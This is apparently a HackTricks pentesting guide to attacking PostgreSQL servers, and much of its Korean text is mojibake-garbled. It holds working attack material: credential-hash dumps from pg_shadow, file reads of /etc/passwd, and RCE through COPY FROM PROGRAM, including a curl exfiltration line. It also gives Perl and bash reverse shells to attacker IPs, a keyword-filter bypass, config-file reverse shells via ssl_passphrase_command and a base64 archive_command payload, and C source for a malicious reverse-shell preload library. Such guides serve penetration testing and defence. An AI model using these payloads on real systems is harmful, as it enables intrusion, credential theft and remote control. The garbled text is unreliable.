5432,5433 - Pentesting Postgresql
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
PostgreSQL์ ๊ฐ์ฒด-๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์์คํ ์ผ๋ก ์ค๋ช ๋๋ฉฐ ์คํ ์์ค์ ๋๋ค. ์ด ์์คํ ์ SQL ์ธ์ด๋ฅผ ์ฌ์ฉํ ๋ฟ๋ง ์๋๋ผ ์ถ๊ฐ ๊ธฐ๋ฅ๋ค๋ก ํ์ฅํฉ๋๋ค. ๋ค์ํ ๋ฐ์ดํฐ ํ์ ๊ณผ ์ฐ์ฐ์ ์ฒ๋ฆฌํ ์ ์์ด ๊ฐ๋ฐ์์ ์กฐ์ง์ ๋ค์ฌ๋ค๋ฅํ ์ ํ์ด ๋ฉ๋๋ค.
Default port: 5432. ์ด ํฌํธ๊ฐ ์ด๋ฏธ ์ฌ์ฉ ์ค์ด๋ฉด postgresql์ ์ฌ์ฉ๋์ง ์์ ๋ค์ ํฌํธ(์๋ง 5433)๋ฅผ ์ฌ์ฉํ ๊ฒ์ผ๋ก ๋ณด์ ๋๋ค.
PORT STATE SERVICE
5432/tcp open pgsql
์ฐ๊ฒฐ ๋ฐ ๊ธฐ๋ณธ ์ด๊ฑฐ
psql -U <myuser> # Open psql console with user
psql -h <host> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
# Get current user
SELECT user;
# Get current database
SELECT current_catalog;
# List schemas
SELECT schema_name,schema_owner FROM information_schema.schemata;
\dn+
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
# Get languages
SELECT lanname,lanacl FROM pg_language;
# Show installed extensions
SHOW rds.extensions;
SELECT * FROM pg_extension;
# Get history of commands executed
\s
Warning
๋ง์ฝ
\list๋ฅผ ์คํํ์ ๋rdsadmin๋ผ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฐพ์ผ๋ฉด, ํด๋น ์ธ์คํด์ค๊ฐ AWS postgresql database ๋ด๋ถ์ ์์์ ์ ์ ์์ต๋๋ค.
PostgreSQL ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ์์ธํ ์ ๋ณด๋ ๋ค์์ ํ์ธํ์ธ์:
์๋ ์ด๊ฑฐ
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Brute force
Port scanning
this research์ ๋ฐ๋ฅด๋ฉด, ์ฐ๊ฒฐ ์๋์ ์คํจํ๋ฉด dblink๋ ์ค๋ฅ์ ๋ํ ์ค๋ช
์ ํฌํจํ sqlclient_unable_to_establish_sqlconnection ์์ธ๋ฅผ ๋ฐ์์ํต๋๋ค. ์ด๋ฌํ ์ธ๋ถ ์ ๋ณด์ ์๋ ์๋์ ๋์ด๋์ด ์์ต๋๋ค.
SELECT * FROM dblink_connect('host=1.2.3.4
port=5678
user=name
password=secret
dbname=abc
connect_timeout=10');
- ํธ์คํธ๊ฐ ๋ค์ด๋จ
DETAIL: could not connect to server: No route to host Is the server running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- ํฌํธ๊ฐ ๋ซํ ์์
DETAIL: could not connect to server: Connection refused Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
- Port๊ฐ ์ด๋ ค ์์
DETAIL: server closed the connection unexpectedly This probably means
the server terminated abnormally before or while processing the request
๋๋
DETAIL: FATAL: password authentication failed for user "name"
- Port๊ฐ ์ด๋ ค ์๊ฑฐ๋ ํํฐ๋์ด ์์
DETAIL: could not connect to server: Connection timed out Is the server
running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
In PL/pgSQL ํจ์์์๋ ํ์ฌ ์์ธ ์ธ๋ถ ์ ๋ณด๋ฅผ ์ป์ ์ ์์ต๋๋ค. ๊ทธ๋ฌ๋ PostgreSQL ์๋ฒ์ ์ง์ ์ ๊ทผํ ์ ์๋ค๋ฉด ํ์ํ ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค. ์์คํ ํ ์ด๋ธ์์ ์ฌ์ฉ์ ์ด๋ฆ๊ณผ ๋น๋ฐ๋ฒํธ๋ฅผ ์ถ์ถํ ์ ์๋ค๋ฉด, ์ ์น์ ์์ ๋ ผ์ํ wordlist attack ๋ฐฉ๋ฒ์ ๊ณ ๋ คํด ๋ณผ ์ ์์ผ๋ฉฐ, ์ด๋ ๊ธ์ ์ ์ธ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค.
๊ถํ ์ด๊ฑฐ
์ญํ
| ์ญํ ์ ํ | |
|---|---|
| rolsuper | ํด๋น ์ญํ ์ superuser ๊ถํ์ ๊ฐ์ง๋๋ค. |
| rolinherit | ํด๋น ์ญํ ์ ์ํ ์ญํ ์ ๊ถํ์ ์๋์ผ๋ก ์์ํฉ๋๋ค. |
| rolcreaterole | ์ ์ญํ ์ ์์ฑํ ์ ์์ต๋๋ค. |
| rolcreatedb | ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. |
| rolcanlogin | ๋ก๊ทธ์ธํ ์ ์์ต๋๋ค. ์ฆ, ์ด ์ญํ ์ ์ด๊ธฐ ์ธ์ ์ธ์ฆ ์๋ณ์๋ก ์ง์ ๋ ์ ์์ต๋๋ค. |
| rolreplication | ์ด ์ญํ ์ ๋ณต์ ์ญํ ์ ๋๋ค. ๋ณต์ ์ญํ ์ ๋ณต์ ์ฐ๊ฒฐ์ ์์ํ๊ณ ๋ณต์ ์ฌ๋กฏ์ ์์ฑ ๋ฐ ์ญ์ ํ ์ ์์ต๋๋ค. |
| rolconnlimit | ๋ก๊ทธ์ธ ๊ฐ๋ฅํ ์ญํ ์ ๊ฒฝ์ฐ, ์ด ๊ฐ์ ํด๋น ์ญํ ์ด ๋ง๋ค ์ ์๋ ๋์ ์ฐ๊ฒฐ์ ์ต๋ ์๋ฅผ ์ค์ ํฉ๋๋ค. -1์ ์ ํ ์์์ ๋๋ค. |
| rolpassword | ๋น๋ฐ๋ฒํธ ์์ฒด๊ฐ ์๋๋๋ค(ํญ์ ********๋ก ํ์๋จ). |
| rolvaliduntil | ๋น๋ฐ๋ฒํธ ๋ง๋ฃ ์๊ฐ(๋น๋ฐ๋ฒํธ ์ธ์ฆ์๋ง ์ฌ์ฉ); ๋ง๋ฃ๊ฐ ์์ผ๋ฉด null |
| rolbypassrls | ํด๋น ์ญํ ์ ๋ชจ๋ ํ ์์ค ๋ณด์ ์ ์ฑ ์ ์ฐํํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ Section 5.8์ ์ฐธ์กฐํ์ธ์. |
| rolconfig | ๋ฐํ์ ๊ตฌ์ฑ ๋ณ์์ ๋ํ ์ญํ ๋ณ ๊ธฐ๋ณธ๊ฐ |
| oid | ์ญํ ์ ID |
ํฅ๋ฏธ๋ก์ด ๊ทธ๋ฃน
- ๋ง์ฝ ๋น์ ์ด **
pg_execute_server_program**์ ๋ฉค๋ฒ์ด๋ฉด ํ๋ก๊ทธ๋จ์ ์คํํ ์ ์์ต๋๋ค - ๋ง์ฝ ๋น์ ์ด **
pg_read_server_files**์ ๋ฉค๋ฒ์ด๋ฉด ํ์ผ์ ์ฝ์ ์ ์์ต๋๋ค - ๋ง์ฝ ๋น์ ์ด **
pg_write_server_files**์ ๋ฉค๋ฒ์ด๋ฉด ํ์ผ์ ์ธ ์ ์์ต๋๋ค
Tip
Postgres์์๋ user, a group ๊ทธ๋ฆฌ๊ณ role์ด ๋์ผํ๋ค๋ ์ ์ ์ ์ํ์ธ์. ์ด๋ ๋จ์ง ์ด๋ป๊ฒ ์ฌ์ฉํ๋์ง์ ๋ก๊ทธ์ธ ํ์ฉ ์ฌ๋ถ์ ๋ฌ๋ ค ์์ต๋๋ค.
# Get users roles
\du
#Get users roles & groups
# r.rolpassword
# r.rolconfig,
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolbypassrls,
r.rolconnlimit,
r.rolvaliduntil,
r.oid,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
# Check if current user is superiser
## If response is "on" then true, if "off" then false
SELECT current_setting('is_superuser');
# Try to grant access to groups
## For doing this you need to be admin on the role, superadmin or have CREATEROLE role (see next section)
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
## You will probably get this error:
## Cannot GRANT on the "pg_write_server_files" role without being a member of the role.
# Create new role (user) as member of a role (group)
CREATE ROLE u LOGIN PASSWORD 'lriohfugwebfdwrr' IN GROUP pg_read_server_files;
## Common error
## Cannot GRANT on the "pg_read_server_files" role without being a member of the role.
ํ ์ด๋ธ
# Get owners of tables
select schemaname,tablename,tableowner from pg_tables;
## Get tables where user is owner
select schemaname,tablename,tableowner from pg_tables WHERE tableowner = 'postgres';
# Get your permissions over tables
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants;
#Check users privileges over a table (pg_shadow on this example)
## If nothing, you don't have any permission
SELECT grantee,table_schema,table_name,privilege_type FROM information_schema.role_table_grants WHERE table_name='pg_shadow';
ํจ์
# Interesting functions are inside pg_catalog
\df * #Get all
\df *pg_ls* #Get by substring
\df+ pg_read_binary_file #Check who has access
# Get all functions of a schema
\df pg_catalog.*
# Get all functions of a schema (pg_catalog in this case)
SELECT routines.routine_name, parameters.data_type, parameters.ordinal_position
FROM information_schema.routines
LEFT JOIN information_schema.parameters ON routines.specific_name=parameters.specific_name
WHERE routines.specific_schema='pg_catalog'
ORDER BY routines.routine_name, parameters.ordinal_position;
# Another aparent option
SELECT * FROM pg_proc;
ํ์ผ ์์คํ ์์
๋๋ ํฐ๋ฆฌ ๋ฐ ํ์ผ ์ฝ๊ธฐ
์ด commit ๋ถํฐ ์ ์๋ DEFAULT_ROLE_READ_SERVER_FILES ๊ทธ๋ฃน(์ผ๋ช
pg_read_server_files)์ ๊ตฌ์ฑ์๋ค๊ณผ super users๋ ๋ชจ๋ ๊ฒฝ๋ก์์ COPY ๋ฉ์๋๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค(genfile.c์ convert_and_check_filename์ ํ์ธํ์ธ์):
# Read file
CREATE TABLE demo(t text);
COPY demo from '/etc/passwd';
SELECT * FROM demo;
Warning
super user๊ฐ ์๋๋๋ผ๋ CREATEROLE ๊ถํ์ด ์์ผ๋ฉด ํด๋น ๊ทธ๋ฃน์ ๋ฉค๋ฒ๋ก ์์ ์ ์ถ๊ฐํ ์ ์๋ค๋ ๊ฒ์ ๊ธฐ์ตํ์ธ์:
GRANT pg_read_server_files TO username;
ํ์ผ์ ์ฝ๊ฑฐ๋ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋์ดํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ค๋ฅธ postgres ํจ์๋ค์ด ์์ต๋๋ค. ์ด๋ฅผ ์ฌ์ฉํ ์ ์๋ ๊ฒ์ superusers์ users with explicit permissions๋ฟ์ ๋๋ค:
# Before executing these function go to the postgres DB (not in the template1)
\c postgres
## If you don't do this, you might get "permission denied" error even if you have permission
select * from pg_ls_dir('/tmp');
select * from pg_read_file('/etc/passwd', 0, 1000000);
select * from pg_read_binary_file('/etc/passwd');
# Check who has permissions
\df+ pg_ls_dir
\df+ pg_read_file
\df+ pg_read_binary_file
# Try to grant permissions
GRANT EXECUTE ON function pg_catalog.pg_ls_dir(text) TO username;
# By default you can only access files in the datadirectory
SHOW data_directory;
# But if you are a member of the group pg_read_server_files
# You can access any file, anywhere
GRANT pg_read_server_files TO username;
# Check CREATEROLE privilege escalation
๋ ๋ง์ ํจ์๋ https://www.postgresql.org/docs/current/functions-admin.html์์ ํ์ธํ ์ ์์ต๋๋ค
๊ฐ๋จํ ํ์ผ ์ฐ๊ธฐ
์ค์ง ์ํผ ์ ์ ์ **pg_write_server_files**์ ๊ตฌ์ฑ์๋ง copy๋ฅผ ์ฌ์ฉํด ํ์ผ์ ์ธ ์ ์์ต๋๋ค.
copy (select convert_from(decode('<ENCODED_PAYLOAD>','base64'),'utf-8')) to '/just/a/path.exec';
Warning
์ํผ์ ์ ๊ฐ ์๋์ง๋ง
CREATEROLE๊ถํ์ด ์๋ค๋ฉด ์์ ์ ํด๋น ๊ทธ๋ฃน์ ๋ฉค๋ฒ๋ก ๋ง๋ค ์ ์๋ค๋ ์ ์ ๊ธฐ์ตํ์ธ์:GRANT pg_write_server_files TO username;
Remember that COPY cannot handle newline chars, therefore even if you are using a base64 payload you need to send a one-liner.
A very important limitation of this technique is that copy cannot be used to write binary files as it modify some binary values.
๋ฐ์ด๋๋ฆฌ ํ์ผ ์ ๋ก๋
ํ์ง๋ง ํฐ ๋ฐ์ด๋๋ฆฌ ํ์ผ์ ์ ๋ก๋ํ ์ ์๋ ๋ค๋ฅธ ๊ธฐ์ ๋ค์ด ์๋ค:
Big Binary Files Upload (PostgreSQL)
๋ก์ปฌ ํ์ผ ์ฐ๊ธฐ๋ฅผ ํตํ PostgreSQL ํ ์ด๋ธ ๋ฐ์ดํฐ ์ ๋ฐ์ดํธ
๋ง์ฝ PostgreSQL ์๋ฒ ํ์ผ์ ์ฝ๊ณ ์ธ ์ ์๋ ํ์ํ ๊ถํ์ด ์๋ค๋ฉด, the PostgreSQL data directory ๋ด์ ๊ด๋ จ filenode๋ฅผ ๋ฎ์ด์จ์ ์๋ฒ์ ์ด๋ค ํ ์ด๋ธ์ด๋ ์ ๋ฐ์ดํธํ ์ ์์ต๋๋ค. ์ด ๊ธฐ๋ฒ์ ๋ํ ์์ธํ ๋ด์ฉ์ ์ฌ๊ธฐ๋ฅผ ์ฐธ๊ณ ํ์ธ์.
ํ์ํ ๋จ๊ณ:
- PostgreSQL ๋ฐ์ดํฐ ๋๋ ํ ๋ฆฌ ํ์ธ
SELECT setting FROM pg_settings WHERE name = 'data_directory';
์ฐธ๊ณ : ์ค์ ์์ ํ์ฌ ๋ฐ์ดํฐ ๋๋ ํ ๋ฆฌ ๊ฒฝ๋ก๋ฅผ ์กฐํํ ์ ์๋ค๋ฉด, SELECT version() ์ฟผ๋ฆฌ๋ก ์ฃผ์ PostgreSQL ๋ฒ์ ์ ์กฐํํ ๋ค ๊ฒฝ๋ก๋ฅผ ๋ธ๋ฃจํธํฌ์คํด๋ณผ ์ ์์ต๋๋ค. Unix์ ์ค์น๋ PostgreSQL์ ์ผ๋ฐ์ ์ธ ๋ฐ์ดํฐ ๋๋ ํ ๋ฆฌ ๊ฒฝ๋ก๋ /var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/์
๋๋ค. ์ผ๋ฐ์ ์ธ ํด๋ฌ์คํฐ ์ด๋ฆ์ main์
๋๋ค.
- ๋์ ํ ์ด๋ธ๊ณผ ์ฐ๊ด๋ filenode์ ์๋ ๊ฒฝ๋ก ์ป๊ธฐ
SELECT pg_relation_filepath('{TABLE_NAME}')
์ด ์ฟผ๋ฆฌ๋ base/3/1337 ๊ฐ์ ๊ฐ์ ๋ฐํํด์ผ ํฉ๋๋ค. ๋์คํฌ์์ ์ ์ฒด ๊ฒฝ๋ก๋ $DATA_DIRECTORY/base/3/1337, ์: /var/lib/postgresql/13/main/base/3/1337๊ฐ ๋ฉ๋๋ค.
lo_*ํจ์๋ก filenode ๋ค์ด๋ก๋
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
- ๋์ ํ ์ด๋ธ์ ์ฐ๊ด๋ ๋ฐ์ดํฐ ํ์ ์ป๊ธฐ
SELECT
STRING_AGG(
CONCAT_WS(
',',
attname,
typname,
attlen,
attalign
),
';'
)
FROM pg_attribute
JOIN pg_type
ON pg_attribute.atttypid = pg_type.oid
JOIN pg_class
ON pg_attribute.attrelid = pg_class.oid
WHERE pg_class.relname = '{TABLE_NAME}';
- PostgreSQL Filenode Editor๋ฅผ ์ฌ์ฉํด filenode๋ฅผ ํธ์งํ์ธ์; ์ ์ฒด ๊ถํ์ ์ํด ๋ชจ๋
rol*๋ถ๋ฆฌ์ธ ํ๋๊ทธ๋ฅผ 1๋ก ์ค์ ํฉ๋๋ค.
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}

lo_*ํจ์๋ฅผ ํตํด ํธ์งํ filenode๋ฅผ ๋ค์ ์ ๋ก๋ํ๊ณ ๋์คํฌ์์ ์๋ณธ ํ์ผ์ ๋ฎ์ด์๋๋ค.
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
- (์ ํ์ฌํญ) ๋น์ฉ์ด ํฐ SQL ์ฟผ๋ฆฌ๋ฅผ ์คํํด ์ธ๋ฉ๋ชจ๋ฆฌ ํ ์ด๋ธ ์บ์๋ฅผ ์ด๊ธฐํํฉ๋๋ค.
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
- ์ด์ PostgreSQL์์ ์ ๋ฐ์ดํธ๋ ํ ์ด๋ธ ๊ฐ์ ํ์ธํ ์ ์์ต๋๋ค.
pg_authid ํ
์ด๋ธ์ ํธ์งํ์ฌ ์ํผ๊ด๋ฆฌ์๊ฐ ๋ ์๋ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์ ์น์
์ ์ฐธ์กฐํ์ธ์.
RCE
RCE to program
Since version 9.3, only super users and member of the group pg_execute_server_program can use copy for RCE (example with exfiltration:
'; copy (SELECT '') to program 'curl http://YOUR-SERVER?f=`ls -l|base64`'-- -
์คํ ์:
#PoC
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
DROP TABLE IF EXISTS cmd_exec;
#Reverse shell
#Notice that in order to scape a single quote you need to put 2 single quotes
COPY files FROM PROGRAM 'perl -MIO -e ''$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;''';
Warning
์ํผ์ ์ ๊ฐ ์๋๋๋ผ๋
CREATEROLE๊ถํ์ด ์๋ค๋ฉด ํด๋น ๊ทธ๋ฃน์ ๋ฉค๋ฒ๊ฐ ๋ ์ ์์ต๋๋ค:GRANT pg_execute_server_program TO username;
๋๋ metasploit์ multi/postgres/postgres_copy_from_program_cmd_exec ๋ชจ๋์ ์ฌ์ฉํ์ธ์.
์ด ์ทจ์ฝ์ ์ ๋ํ ์์ธํ ์ ๋ณด๋ here. CVE-2019-9193๋ก ๋ณด๊ณ ๋์์ง๋ง, Postges๋ ์ด๋ฅผ feature and will not be fixed.
ํค์๋ ํํฐ/WAF๋ฅผ ์ฐํํ์ฌ COPY PROGRAM์ ๋๋ฌ
์คํ๋ ์ฟผ๋ฆฌ๊ฐ ํ์ฉ๋๋ SQLi ์ปจํ
์คํธ์์๋, WAF๊ฐ ๋ฆฌํฐ๋ด ํค์๋ COPY๋ฅผ ์ ๊ฑฐํ๊ฑฐ๋ ์ฐจ๋จํ ์ ์์ต๋๋ค. ๋ช
๋ น๋ฌธ์ ๋์ ์ผ๋ก ๊ตฌ์ฑํ์ฌ PL/pgSQL DO block ๋ด๋ถ์์ ์คํํ ์ ์์ต๋๋ค. ์๋ฅผ ๋ค์ด, ์ ํ ๋ฌธ์ C๋ฅผ CHR(67)๋ก ์์ฑํ์ฌ ๋จ์ํ ํํฐ๋ฅผ ์ฐํํ๊ณ ์กฐ๋ฆฝํ ๋ช
๋ น์ EXECUTE ํ์ธ์:
DO $$
DECLARE cmd text;
BEGIN
cmd := CHR(67) || 'OPY (SELECT '''') TO PROGRAM ''bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"''';
EXECUTE cmd;
END $$;
This pattern avoids static keyword filtering and still achieves OS command execution via COPY ... PROGRAM. It is especially useful when the application echoes SQL errors and allows stacked queries.
RCE with PostgreSQL ์ธ์ด
RCE with PostgreSQL ํ์ฅ
Once you have learned from the previous post how to upload binary files you could try obtain RCE uploading a postgresql extension and loading it.
RCE with PostgreSQL Extensions
PostgreSQL configuration file RCE
Tip
The following RCE vectors are especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements
The configuration file of PostgreSQL is writable by the postgres user, which is the one running the database, so as superuser, you can write files in the filesystem, and therefore you can overwrite this file.
.png)
RCE with ssl_passphrase_command
More information about this technique here.
The configuration file have some interesting attributes that can lead to RCE:
ssl_key_file = '/etc/ssl/private/ssl-cert-snakeoil.key'๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ฐ์ธ ํค์ ๊ฒฝ๋กssl_passphrase_command = ''๊ฐ์ธ ํ์ผ์ด ๋น๋ฐ๋ฒํธ(์ํธํ)๋ก ๋ณดํธ๋์ด ์์ผ๋ฉด postgresql์ ์ด ์์ฑ์ ์ง์ ๋ ๋ช ๋ น์ ์คํํฉ๋๋ค.ssl_passphrase_command_supports_reload = off์ด ์์ฑ์ด on์ด๋ฉด ํค๊ฐ ๋น๋ฐ๋ฒํธ๋ก ๋ณดํธ๋ ๊ฒฝ์ฐ ํด๋น ๋ช ๋ น์pg_reload_conf()๊ฐ ์คํ๋ ๋ ์คํ๋ฉ๋๋ค.
Then, an attacker will need to:
- ์๋ฒ์์ ๊ฐ์ธ ํค ๋คํ
- ๋ค์ด๋ก๋ํ ๊ฐ์ธ ํค ์ํธํ:
rsa -aes256 -in downloaded-ssl-cert-snakeoil.key -out ssl-cert-snakeoil.key- ๋ฎ์ด์ฐ๊ธฐ
- ํ์ฌ postgresql ๊ตฌ์ฑ ๋คํ
- ๊ตฌ์ฑ ํ์ผ์ ๋ฎ์ด์ฐ๊ธฐ (์์ ์ธ๊ธํ ์์ฑ๋ค๋ก):
ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/127.0.0.1/8111 0>&1"'ssl_passphrase_command_supports_reload = on- Execute
pg_reload_conf()
While testing this I noticed that this will only work if the private key file has privileges 640, itโs owned by root and by the group ssl-cert or postgres (so the postgres user can read it), and is placed in /var/lib/postgresql/12/main.
RCE with archive_command
More information about this config and about WAL here.
Another attribute in the configuration file that is exploitable is archive_command.
For this to work, the archive_mode setting has to be 'on' or 'always'. If that is true, then we could overwrite the command in archive_command and force it to execute via the WAL (write-ahead logging) operations.
The general steps are:
- Check whether archive mode is enabled:
SELECT current_setting('archive_mode') - Overwrite
archive_commandwith the payload. For eg, a reverse shell:archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl' - Reload the config:
SELECT pg_reload_conf() - Force the WAL operation to run, which will call the archive command:
SELECT pg_switch_wal()orSELECT pg_switch_xlog()for some Postgres versions
Large Objects๋ฅผ ํตํ postgresql.conf ํธ์ง (SQLi-friendly)
When multi-line writes are needed (e.g., to set multiple GUCs), use PostgreSQL Large Objects to read and overwrite the config entirely from SQL. This approach is ideal in SQLi contexts where COPY cannot handle newlines or binary-safe writes.
Example (adjust the major version and path if needed, e.g. version 15 on Debian):
-- 1) Import the current configuration and note the returned OID (example OID: 114575)
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');
-- 2) Read it back as text to verify
SELECT encode(lo_get(114575), 'escape');
-- 3) Prepare a minimal config snippet locally that forces execution via WAL
-- and base64-encode its contents, for example:
-- archive_mode = 'always'\n
-- archive_command = 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"'\n
-- archive_timeout = 1\n
-- Then write the new contents into a new Large Object and export it over the original file
SELECT lo_from_bytea(223, decode('<BASE64_POSTGRESQL_CONF>', 'base64'));
SELECT lo_export(223, '/etc/postgresql/15/main/postgresql.conf');
-- 4) Reload the configuration and optionally trigger a WAL switch
SELECT pg_reload_conf();
-- Optional explicit trigger if needed
SELECT pg_switch_wal(); -- or pg_switch_xlog() on older versions
This yields reliable OS command execution via archive_command as the postgres user, provided archive_mode is enabled. In practice, setting a low archive_timeout can cause rapid invocation without requiring an explicit WAL switch.
preload libraries๋ฅผ ์ด์ฉํ RCE
More information about this technique here.
This attack vector takes advantage of the following configuration variables:
session_preload_librariesโ PostgreSQL ์๋ฒ๊ฐ ํด๋ผ์ด์ธํธ ์ฐ๊ฒฐ ์ ๋ก๋ํ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ค.dynamic_library_pathโ PostgreSQL ์๋ฒ๊ฐ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ๊ฒ์ํ ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก.
We can set the dynamic_library_path value to a directory, writable by the postgres user running the database, e.g., /tmp/ directory, and upload a malicious .so object there. Next, we will force the PostgreSQL server to load our newly uploaded library by including it in the session_preload_libraries variable.
The attack steps are:
- ์๋ณธ
postgresql.confํ์ผ์ ๋ค์ด๋ก๋ํฉ๋๋ค dynamic_library_path๊ฐ์/tmp/๋๋ ํฐ๋ฆฌ๋ฅผ ํฌํจ์ํต๋๋ค, ์:dynamic_library_path = '/tmp:$libdir'- ์
์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ด๋ฆ์
session_preload_libraries๊ฐ์ ํฌํจ์ํต๋๋ค, ์:session_preload_libraries = 'payload.so' SELECT version()์ฟผ๋ฆฌ๋ก PostgreSQL์ ๋ฉ์ด์ ๋ฒ์ ์ ํ์ธํฉ๋๋ค- ์ ์ ํ PostgreSQL dev ํจํค์ง์ ๋ง์ถฐ ์ ์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฝ๋๋ฅผ ์ปดํ์ผํฉ๋๋ค. ์ํ ์ฝ๋:
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
void _init() {
/*
code taken from https://www.revshells.com/
*/
int port = REVSHELL_PORT;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("REVSHELL_IP");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/bash", NULL};
execve("/bin/bash", argv, NULL);
}
Compiling the code:
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
- 2-3๋จ๊ณ์์ ๋ง๋ ์
์ฑ
postgresql.conf๋ฅผ ์ ๋ก๋ํ์ฌ ์๋ณธ์ ๋ฎ์ด์๋๋ค - 5๋จ๊ณ์์ ๋ง๋
payload.so๋ฅผ/tmp๋๋ ํฐ๋ฆฌ์ ์ ๋ก๋ํฉ๋๋ค - ์๋ฒ๋ฅผ ์ฌ์์ํ๊ฑฐ๋
SELECT pg_reload_conf()์ฟผ๋ฆฌ๋ฅผ ์คํํ์ฌ ์๋ฒ ์ค์ ์ ๋ฆฌ๋ก๋ํฉ๋๋ค - ๋ค์ DB ์ฐ๊ฒฐ ์ ๋ฆฌ๋ฒ์ค ์ ธ ์ฐ๊ฒฐ์ ๋ฐ๊ฒ ๋ฉ๋๋ค.
Postgres Privesc
CREATEROLE Privesc
Grant
